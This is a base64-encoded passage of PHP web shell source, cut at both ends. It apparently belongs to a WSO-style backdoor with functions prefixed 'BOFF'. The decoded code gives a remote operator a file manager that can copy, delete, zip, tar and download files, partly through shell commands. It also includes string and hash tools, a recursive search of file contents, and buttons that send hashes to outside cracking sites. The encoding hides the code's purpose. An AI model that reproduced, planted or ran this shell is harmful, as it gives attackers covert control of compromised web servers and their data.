ICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNoZGlyKCRHTE9CQUxTWydjd2QnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+Y2xvc2UoKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KCQkJCX0gZWxzZWlmKCRfU0VTU0lPTlsnYWN0J10gPT0gJ3VuemlwJykgew0KCQkJCQlpZihjbGFzc19leGlzdHMoJ1ppcEFyY2hpdmUnKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHppcCA9IG5ldyBaaXBBcmNoaXZlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfU0VTU0lPTlsnZiddIGFzICRmKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHppcC0+b3BlbigkX1NFU1NJT05bJ2MnXS4kZikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHppcC0+ZXh0cmFjdFRvKCRHTE9CQUxTWydjd2QnXSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmNsb3NlKCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQoJCQkJfSBlbHNlaWYoJF9TRVNTSU9OWydhY3QnXSA9PSAndGFyJykgew0KICAgICAgICAgICAgICAgICAgICBjaGRpcigkX1NFU1NJT05bJ2MnXSk7DQogICAgICAgICAgICAgICAgICAgICRfU0VTU0lPTlsnZiddID0gYXJyYXlfbWFwKCdlc2NhcGVzaGVsbGFyZycsICRfU0VTU0lPTlsnZiddKTsNCiAgICAgICAgICAgICAgICAgICAgQk9GRkV4KCd0YXIgY2Z6diAnIC4gZXNjYXBlc2hlbGxhcmcoJF9QT1NUWydwMiddKSAuICcgJyAuIGltcGxvZGUoJyAnLCAkX1NFU1NJT05bJ2YnXSkpOw0KICAgICAgICAgICAgICAgICAgICBjaGRpcigkR0xPQkFMU1snY3dkJ10pOw0KCQkJCX0NCgkJCQl1bnNldCgkX1NFU1NJT05bJ2YnXSk7DQoJCQkJYnJlYWs7DQoJCQlkZWZhdWx0Og0KICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7DQoJCQkJCSRfU0VTU0lPTlsnYWN0J10gPSBAJF9QT1NUWydwMSddOw0KCQkJCQkkX1NFU1NJT05bJ2YnXSA9IEAkX1BPU1RbJ2YnXTsNCgkJCQkJZm9yZWFjaCgkX1NFU1NJT05bJ2YnXSBhcyAkayA9PiAkZikNCgkJCQkJCSRfU0VTU0lPTlsnZiddWyRrXSA9IHVybGRlY29kZSgkZik7DQoJCQkJCSRfU0VTU0lPTlsnYyddID0gQCRfUE9TVFsnYyddOw0KCQkJCX0NCgkJCQlicmVhazsNCgkJfQ0KCX0NCgkkZGlyQ29udGVudCA9IEBzY2FuZGlyKGlzc2V0KCRfUE9TVFsnYyddKT8kX1BPU1RbJ2MnXTokR0xPQkFMU1snY3dkJ10pOw0KCWlmKCRkaXJDb250ZW50ID09PSBmYWxzZSkgewllY2hvICdDYW5cJ3Qgb3BlbiB0aGlzIGZvbGRlciEnO0JPRkZGb290ZXIoKTsgcmV0dXJuOyB9DQoJZ2xvYmFsICRzb3J0Ow0KCSRzb3J0ID0gYXJyYXkoJ25hbWUnLCAxKTsNCglpZighZW1wdHkoJF9QT1NUWydwMSddKSkgew0KCQlpZihwcmVnX21hdGNoKCchc18oW0Etel0rKV8oXGR7MX0pIScsICRfUE9TVFsncDEnXSwgJG1hdGNoKSkNCgkJCSRzb3J0ID0gYXJyYXkoJG1hdGNoWzFdLCAoaW50KSRtYXRjaFsyXSk7DQoJfQ0KZWNobyAiPHNjcmlwdD4NCglmdW5jdGlvbiBzYSgpIHsNCgkJZm9yKGk9MDtpPGQuZmlsZXMuZWxlbWVudHMubGVuZ3RoO2krKykNCgkJCWlmKGQuZmlsZXMuZWxlbWVudHNbaV0udHlwZSA9PSAnY2hlY2tib3gnKQ0KCQkJCWQuZmlsZXMuZWxlbWVudHNbaV0uY2hlY2tlZCA9IGQuZmlsZXMuZWxlbWVudHNbMF0uY2hlY2tlZDsNCgl9DQo8L3NjcmlwdD4NCjx0YWJsZSB3aWR0aD0nMTAwJScgY2xhc3M9J21haW4nIGNlbGxzcGFjaW5nPScwJyBjZWxscGFkZGluZz0nMic+DQo8Zm9ybSBuYW1lPWZpbGVzIG1ldGhvZD1wb3N0Pjx0cj48dGggd2lkdGg9JzEzcHgnPjxpbnB1dCB0eXBlPWNoZWNrYm94IG9uY2xpY2s9J3NhKCknIGNsYXNzPWNoa2J4PjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX25hbWVfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5OYW1lPC9hPjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX3NpemVfIi4oJHNvcnRbMV0/MDoxKS4iXCIpJz5TaXplPC9hPjwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX21vZGlmeV8iLigkc29ydFsxXT8wOjEpLiJcIiknPk1vZGlmeTwvYT48L3RoPjx0aD5Pd25lci9Hcm91cDwvdGg+PHRoPjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLG51bGwsXCJzX3Blcm1zXyIuKCRzb3J0WzFdPzA6MSkuIlwiKSc+UGVybWlzc2lvbnM8L2E+PC90aD48dGg+QWN0aW9uczwvdGg+PC90cj4iOw0KCSRkaXJzID0gJGZpbGVzID0gYXJyYXkoKTsNCgkkbiA9IGNvdW50KCRkaXJDb250ZW50KTsNCglmb3IoJGk9MDskaTwkbjskaSsrKSB7DQoJCSRvdyA9IEBwb3NpeF9nZXRwd3VpZChAZmlsZW93bmVyKCRkaXJDb250ZW50WyRpXSkpOw0KCQkkZ3IgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkZGlyQ29udGVudFskaV0pKTsNCgkJJHRtcCA9IGFycmF5KCduYW1lJyA9PiAkZGlyQ29udGVudFskaV0sDQoJCQkJCSAncGF0aCcgPT4gJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSwNCgkJCQkJICdtb2RpZnknID0+IGRhdGUoJ1ktbS1kIEg6aTpzJywgQGZpbGVtdGltZSgkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pKSwNCgkJCQkJICdwZXJtcycgPT4gQk9GRlBlcm1zQ29sb3IoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSwNCgkJCQkJICdzaXplJyA9PiBAZmlsZXNpemUoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSksDQoJCQkJCSAnb3duZXInID0+ICRvd1snbmFtZSddPyRvd1snbmFtZSddOkBmaWxlb3duZXIoJGRpckNvbnRlbnRbJGldKSwNCgkJCQkJICdncm91cCcgPT4gJGdyWyduYW1lJ10/JGdyWyduYW1lJ106QGZpbGVncm91cCgkZGlyQ29udGVudFskaV0pDQoJCQkJCSk7DQoJCWlmKEBpc19maWxlKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpDQoJCQkkZmlsZXNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZmlsZScpKTsNCgkJZWxzZWlmKEBpc19saW5rKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpDQoJCQkkZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdsaW5rJywgJ2xpbmsnID0+IHJlYWRsaW5rKCR0bXBbJ3BhdGgnXSkpKTsNCgkJZWxzZWlmKEBpc19kaXIoJEdMT0JBTFNbJ2N3ZCddIC4gJGRpckNvbnRlbnRbJGldKSYmICgkZGlyQ29udGVudFskaV0gIT0gIi4iKSkNCgkJCSRkaXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2RpcicpKTsNCgl9DQoJJEdMT0JBTFNbJ3NvcnQnXSA9ICRzb3J0Ow0KCWZ1bmN0aW9uIEJPRkZDbXAoJGEsICRiKSB7DQoJCWlmKCRHTE9CQUxTWydzb3J0J11bMF0gIT0gJ3NpemUnKQ0KCQkJcmV0dXJuIHN0cmNtcChzdHJ0b2xvd2VyKCRhWyRHTE9CQUxTWydzb3J0J11bMF1dKSwgc3RydG9sb3dlcigkYlskR0xPQkFMU1snc29ydCddWzBdXSkpKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOw0KCQllbHNlDQoJCQlyZXR1cm4gKCgkYVsnc2l6ZSddIDwgJGJbJ3NpemUnXSkgPyAtMSA6IDEpKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOw0KCX0NCgl1c29ydCgkZmlsZXMsICJCT0ZGQ21wIik7DQoJdXNvcnQoJGRpcnMsICJCT0ZGQ21wIik7DQoJJGZpbGVzID0gYXJyYXlfbWVyZ2UoJGRpcnMsICRmaWxlcyk7DQoJJGwgPSAwOw0KCWZvcmVhY2goJGZpbGVzIGFzICRmKSB7DQoJCWVjaG8gJzx0cicuKCRsPycgY2xhc3M9bDEnOicnKS4nPjx0ZD48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPSJmW10iIHZhbHVlPSInLnVybGVuY29kZSgkZlsnbmFtZSddKS4nIiBjbGFzcz1jaGtieD48L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iJy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/J2coXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCd2aWV3XCcpIj4nLmh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSk6J2coXCdGaWxlc01hblwnLFwnJy4kZlsncGF0aCddLidcJyk7IiB0aXRsZT0nIC4gJGZbJ2xpbmsnXSAuICc+PGI+WyAnIC4gaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKSAuICcgXTwvYj4nKS4nPC9hPjwvdGQ+PHRkPicuKCgkZlsndHlwZSddPT0nZmlsZScpP0JPRkZWaWV3U2l6ZSgkZlsnc2l6ZSddKTokZlsndHlwZSddKS4nPC90ZD48dGQ+Jy4kZlsnbW9kaWZ5J10uJzwvdGQ+PHRkPicuJGZbJ293bmVyJ10uJy8nLiRmWydncm91cCddLic8L3RkPjx0ZD48YSBocmVmPSMgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLFwnY2htb2RcJykiPicuJGZbJ3Blcm1zJ10NCgkJCS4nPC90ZD48dGQ+PGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3JlbmFtZVwnKSI+UjwvYT4gPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ3RvdWNoXCcpIj5UPC9hPicuKCgkZlsndHlwZSddPT0nZmlsZScpPycgPGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy51cmxlbmNvZGUoJGZbJ25hbWUnXSkuJ1wnLCBcJ2VkaXRcJykiPkU8L2E+IDxhIGhyZWY9IiMiIG9uY2xpY2s9ImcoXCdGaWxlc1Rvb2xzXCcsbnVsbCxcJycudXJsZW5jb2RlKCRmWyduYW1lJ10pLidcJywgXCdkb3dubG9hZFwnKSI+RDwvYT4nOicnKS4nPC90ZD48L3RyPic7DQoJCSRsID0gJGw/MDoxOw0KCX0NCgllY2hvICI8dHI+PHRkIGNvbHNwYW49Nz4NCgk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdGaWxlc01hbic+DQoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIiAuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+DQoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIi4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuIic+DQoJPHNlbGVjdCBuYW1lPSdwMSc+PG9wdGlvbiB2YWx1ZT0nY29weSc+Q29weTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J21vdmUnPk1vdmU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdkZWxldGUnPkRlbGV0ZTwvb3B0aW9uPiI7DQogICAgaWYoY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpDQogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J3ppcCc+Q29tcHJlc3MgKHppcCk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSd1bnppcCc+VW5jb21wcmVzcyAoemlwKTwvb3B0aW9uPiI7DQogICAgZWNobyAiPG9wdGlvbiB2YWx1ZT0ndGFyJz5Db21wcmVzcyAodGFyLmd6KTwvb3B0aW9uPiI7DQogICAgaWYoIWVtcHR5KCRfU0VTU0lPTlsnYWN0J10pICYmIEBjb3VudCgkX1NFU1NJT05bJ2YnXSkpDQogICAgICAgIGVjaG8gIjxvcHRpb24gdmFsdWU9J3Bhc3RlJz5QYXN0ZSAvIENvbXByZXNzPC9vcHRpb24+IjsNCiAgICBlY2hvICI8L3NlbGVjdD4mbmJzcDsiOw0KICAgIGlmKCFlbXB0eSgkX1NFU1NJT05bJ2FjdCddKSAmJiBAY291bnQoJF9TRVNTSU9OWydmJ10pICYmICgoJF9TRVNTSU9OWydhY3QnXSA9PSAnemlwJykgfHwgKCRfU0VTU0lPTlsnYWN0J10gPT0gJ3RhcicpKSkNCiAgICAgICAgZWNobyAiZmlsZSBuYW1lOiA8aW5wdXQgdHlwZT10ZXh0IG5hbWU9cDIgdmFsdWU9J0JPRkZfIiAuIGRhdGUoIlltZF9IaXMiKSAuICIuIiAuICgkX1NFU1NJT05bJ2FjdCddID09ICd6aXAnPyd6aXAnOid0YXIuZ3onKSAuICInPiZuYnNwOyI7DQogICAgZWNobyAiPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9Jz4+Jz48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+PC9kaXY+IjsNCglCT0ZGRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvblN0cmluZ1Rvb2xzKCkgew0KCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2hleDJiaW4nKSkge2Z1bmN0aW9uIGhleDJiaW4oJHApIHtyZXR1cm4gZGVjYmluKGhleGRlYygkcCkpO319DQogICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnYmluaGV4JykpIHtmdW5jdGlvbiBiaW5oZXgoJHApIHtyZXR1cm4gZGVjaGV4KGJpbmRlYygkcCkpO319DQoJaWYoIWZ1bmN0aW9uX2V4aXN0cygnaGV4MmFzY2lpJykpIHtmdW5jdGlvbiBoZXgyYXNjaWkoJHApeyRyPScnO2ZvcigkaT0wOyRpPHN0ckxlbigkcCk7JGkrPTIpeyRyLj1jaHIoaGV4ZGVjKCRwWyRpXS4kcFskaSsxXSkpO31yZXR1cm4gJHI7fX0NCglpZighZnVuY3Rpb25fZXhpc3RzKCdhc2NpaTJoZXgnKSkge2Z1bmN0aW9uIGFzY2lpMmhleCgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gc3ByaW50ZignJTAyWCcsb3JkKCRwWyRpXSkpO3JldHVybiBzdHJ0b3VwcGVyKCRyKTt9fQ0KCWlmKCFmdW5jdGlvbl9leGlzdHMoJ2Z1bGxfdXJsZW5jb2RlJykpIHtmdW5jdGlvbiBmdWxsX3VybGVuY29kZSgkcCl7JHI9Jyc7Zm9yKCRpPTA7JGk8c3RybGVuKCRwKTsrKyRpKSRyLj0gJyUnLmRlY2hleChvcmQoJHBbJGldKSk7cmV0dXJuIHN0cnRvdXBwZXIoJHIpO319DQoJJHN0cmluZ1Rvb2xzID0gYXJyYXkoDQoJCSdCYXNlNjQgZW5jb2RlJyA9PiAnYmFzZTY0X2VuY29kZScsDQoJCSdCYXNlNjQgZGVjb2RlJyA9PiAnYmFzZTY0X2RlY29kZScsDQoJCSdVcmwgZW5jb2RlJyA9PiAndXJsZW5jb2RlJywNCgkJJ1VybCBkZWNvZGUnID0+ICd1cmxkZWNvZGUnLA0KCQknRnVsbCB1cmxlbmNvZGUnID0+ICdmdWxsX3VybGVuY29kZScsDQoJCSdtZDUgaGFzaCcgPT4gJ21kNScsDQoJCSdzaGExIGhhc2gnID0+ICdzaGExJywNCgkJJ2NyeXB0JyA9PiAnY3J5cHQnLA0KCQknQ1JDMzInID0+ICdjcmMzMicsDQoJCSdBU0NJSSB0byBIRVgnID0+ICdhc2NpaTJoZXgnLA0KCQknSEVYIHRvIEFTQ0lJJyA9PiAnaGV4MmFzY2lpJywNCgkJJ0hFWCB0byBERUMnID0+ICdoZXhkZWMnLA0KCQknSEVYIHRvIEJJTicgPT4gJ2hleDJiaW4nLA0KCQknREVDIHRvIEhFWCcgPT4gJ2RlY2hleCcsDQoJCSdERUMgdG8gQklOJyA9PiAnZGVjYmluJywNCgkJJ0JJTiB0byBIRVgnID0+ICdiaW5oZXgnLA0KCQknQklOIHRvIERFQycgPT4gJ2JpbmRlYycsDQoJCSdTdHJpbmcgdG8gbG93ZXIgY2FzZScgPT4gJ3N0cnRvbG93ZXInLA0KCQknU3RyaW5nIHRvIHVwcGVyIGNhc2UnID0+ICdzdHJ0b3VwcGVyJywNCgkJJ0h0bWxzcGVjaWFsY2hhcnMnID0+ICdodG1sc3BlY2lhbGNoYXJzJywNCgkJJ1N0cmluZyBsZW5ndGgnID0+ICdzdHJsZW4nLA0KCSk7DQoJaWYoaXNzZXQoJF9QT1NUWydhamF4J10pKSB7DQoJCSRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nYWpheCddID0gdHJ1ZTsNCgkJb2Jfc3RhcnQoKTsNCgkJaWYoaW5fYXJyYXkoJF9QT1NUWydwMSddLCAkc3RyaW5nVG9vbHMpKQ0KCQkJZWNobyAkX1BPU1RbJ3AxJ10oJF9QT1NUWydwMiddKTsNCgkJJHRlbXAgPSAiZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N0ck91dHB1dCcpLnN0eWxlLmRpc3BsYXk9Jyc7ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3N0ck91dHB1dCcpLmlubmVySFRNTD0nIi5hZGRjc2xhc2hlcyhodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKSwiXG5cclx0XFwnXDAiKS4iJztcbiI7DQoJCWVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7DQoJCWV4aXQ7DQoJfQ0KCUJPRkZIZWFkZXIoKTsNCgllY2hvICc8aDE+U3RyaW5nIGNvbnZlcnNpb25zPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsNCglpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQ0KCQkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOw0KCWVjaG8gIjxmb3JtIG5hbWU9J3Rvb2xzRm9ybScgb25TdWJtaXQ9J2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLnNlbGVjdFRvb2wudmFsdWUsdGhpcy5pbnB1dC52YWx1ZSk7fWVsc2V7ZyhudWxsLG51bGwsdGhpcy5zZWxlY3RUb29sLnZhbHVlLHRoaXMuaW5wdXQudmFsdWUpO30gcmV0dXJuIGZhbHNlOyc+PHNlbGVjdCBuYW1lPSdzZWxlY3RUb29sJz4iOw0KCWZvcmVhY2goJHN0cmluZ1Rvb2xzIGFzICRrID0+ICR2KQ0KCQllY2hvICI8b3B0aW9uIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHYpLiInPiIuJGsuIjwvb3B0aW9uPiI7DQoJCWVjaG8gIjwvc2VsZWN0PjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+PicvPiA8aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAiLihAJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4iPiBzZW5kIHVzaW5nIEFKQVg8YnI+PHRleHRhcmVhIG5hbWU9J2lucHV0JyBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnIGNsYXNzPWJpZ2FyZWE+Ii4oZW1wdHkoJF9QT1NUWydwMSddKT8nJzpodG1sc3BlY2lhbGNoYXJzKEAkX1BPU1RbJ3AyJ10pKS4iPC90ZXh0YXJlYT48L2Zvcm0+PHByZSBjbGFzcz0nbWwxJyBzdHlsZT0nIi4oZW1wdHkoJF9QT1NUWydwMSddKT8nZGlzcGxheTpub25lOyc6JycpLiJtYXJnaW4tdG9wOjVweCcgaWQ9J3N0ck91dHB1dCc+IjsNCglpZighZW1wdHkoJF9QT1NUWydwMSddKSkgew0KCQlpZihpbl9hcnJheSgkX1BPU1RbJ3AxJ10sICRzdHJpbmdUb29scykpZWNobyBodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSgkX1BPU1RbJ3AyJ10pKTsNCgl9DQoJZWNobyI8L3ByZT48L2Rpdj48YnI+PGgxPlNlYXJjaCB0ZXh0IGluIGZpbGVzOjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pg0KCQk8Zm9ybSBvbnN1Ym1pdD1cImcobnVsbCx0aGlzLmN3ZC52YWx1ZSxudWxsLHRoaXMudGV4dC52YWx1ZSx0aGlzLmZpbGVuYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHRhYmxlIGNlbGxwYWRkaW5nPScxJyBjZWxsc3BhY2luZz0nMCcgd2lkdGg9JzUwJSc+DQoJCQk8dHI+PHRkIHdpZHRoPScxJSc+VGV4dDo8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndGV4dCcgc3R5bGU9J3dpZHRoOjEwMCUnPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+UGF0aDo8L3RkPjx0ZD48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nY3dkJyB2YWx1ZT0nIi4gaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pIC4iJyBzdHlsZT0nd2lkdGg6MTAwJSc+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD5OYW1lOjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdmaWxlbmFtZScgdmFsdWU9JyonIHN0eWxlPSd3aWR0aDoxMDAlJz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSc+Pic+PC90ZD48L3RyPg0KCQkJPC90YWJsZT48L2Zvcm0+IjsNCg0KCWZ1bmN0aW9uIEJPRkZSZWN1cnNpdmVHbG9iKCRwYXRoKSB7DQoJCWlmKHN1YnN0cigkcGF0aCwgLTEpICE9ICcvJykNCgkJCSRwYXRoLj0nLyc7DQoJCSRwYXRocyA9IEBhcnJheV91bmlxdWUoQGFycmF5X21lcmdlKEBnbG9iKCRwYXRoLiRfUE9TVFsncDMnXSksIEBnbG9iKCRwYXRoLicqJywgR0xPQl9PTkxZRElSKSkpOw0KCQlpZihpc19hcnJheSgkcGF0aHMpJiZAY291bnQoJHBhdGhzKSkgew0KCQkJZm9yZWFjaCgkcGF0aHMgYXMgJGl0ZW0pIHsNCgkJCQlpZihAaXNfZGlyKCRpdGVtKSl7DQoJCQkJCWlmKCRwYXRoIT0kaXRlbSkNCgkJCQkJCUJPRkZSZWN1cnNpdmVHbG9iKCRpdGVtKTsNCgkJCQl9IGVsc2Ugew0KCQkJCQlpZihAc3RycG9zKEBmaWxlX2dldF9jb250ZW50cygkaXRlbSksIEAkX1BPU1RbJ3AyJ10pIT09ZmFsc2UpDQoJCQkJCQllY2hvICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLG51bGwsXCIiLnVybGVuY29kZSgkaXRlbSkuIlwiLCBcInZpZXdcIiknPiIuaHRtbHNwZWNpYWxjaGFycygkaXRlbSkuIjwvYT48YnI+IjsNCgkJCQl9DQoJCQl9DQoJCX0NCgl9DQoJaWYoQCRfUE9TVFsncDMnXSkNCgkJQk9GRlJlY3Vyc2l2ZUdsb2IoJF9QT1NUWydjJ10pOw0KCWVjaG8gIjwvZGl2Pjxicj48aDE+U2VhcmNoIGZvciBoYXNoOjwvaDE+PGRpdiBjbGFzcz1jb250ZW50Pg0KCQk8Zm9ybSBtZXRob2Q9J3Bvc3QnIHRhcmdldD0nX2JsYW5rJyBuYW1lPSdoZic+DQoJCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0naGFzaCcgc3R5bGU9J3dpZHRoOjIwMHB4Oyc+PGJyPg0KCQkJPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J2hhc2hjcmFjay5jb20nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly93d3cuaGFzaGNyYWNrLmNvbS9pbmRleC5waHAnO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPg0KCQkJPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J21pbHcwcm0uY29tJyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwOi8vd3d3Lm1pbHcwcm0uY29tL2NyYWNrZXIvc2VhcmNoLnBocCc7ZG9jdW1lbnQuaGYuc3VibWl0KClcIj48YnI+DQoJCQk8aW5wdXQgdHlwZT0nYnV0dG9uJyB2YWx1ZT0naGFzaGNyYWNraW5nLmluZm8nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHBzOi8vaGFzaGNyYWNraW5nLmluZm8vaW5kZXgucGhwJztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4NCgkJCTxpbnB1dCB0eXBlPSdidXR0b24nIHZhbHVlPSdtZDUuYmxhY2tub2l6ZS5jb20nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly9tZDUuYmxhY2tub2l6ZS5jb20vP3E9Jytkb2N1bWVudC5oZi5oYXNoLnZhbHVlKycmcz1tZDUnO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPg0KCQkJPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J21kNWRlY3J5cHRlci5jb20nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly93d3cubWQ1ZGVjcnlwdGVyLmNvbS8nO2RvY3VtZW50LmhmLnN1Ym1pdCgpXCI+PGJyPg0KCQk8L2Zvcm0+PC9kaXY+IjsNCglCT0ZGRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvbkZpbGVzVG9vbHMoKSB7DQoJaWYoIGlzc2V0KCRfUE9TVFsncDEnXSkgKQ0KCQkkX1BPU1RbJ3AxJ10gPSB1cmxkZWNvZGUoJF9QT1NUWydwMSddKTsNCglpZihAJF9QT1NUWydwMiddPT0nZG93bmxvYWQnKSB7DQoJCWlmKEBpc19maWxlKCRfUE9TVFsncDEnXSkgJiYgQGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkpIHsNCgkJCW9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsNCgkJCWhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Ii5iYXNlbmFtZSgkX1BPU1RbJ3AxJ10pKTsNCgkJCWlmIChmdW5jdGlvbl9leGlzdHMoIm1pbWVfY29udGVudF90eXBlIikpIHsNCgkJCQkkdHlwZSA9IEBtaW1lX2NvbnRlbnRfdHlwZSgkX1BPU1RbJ3AxJ10pOw0KCQkJCWhlYWRlcigiQ29udGVudC1UeXBlOiAiIC4gJHR5cGUpOw0KCQkJfSBlbHNlDQogICAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOw0KCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgInIiKTsNCgkJCWlmKCRmcCkgew0KCQkJCXdoaWxlKCFAZmVvZigkZnApKQ0KCQkJCQllY2hvIEBmc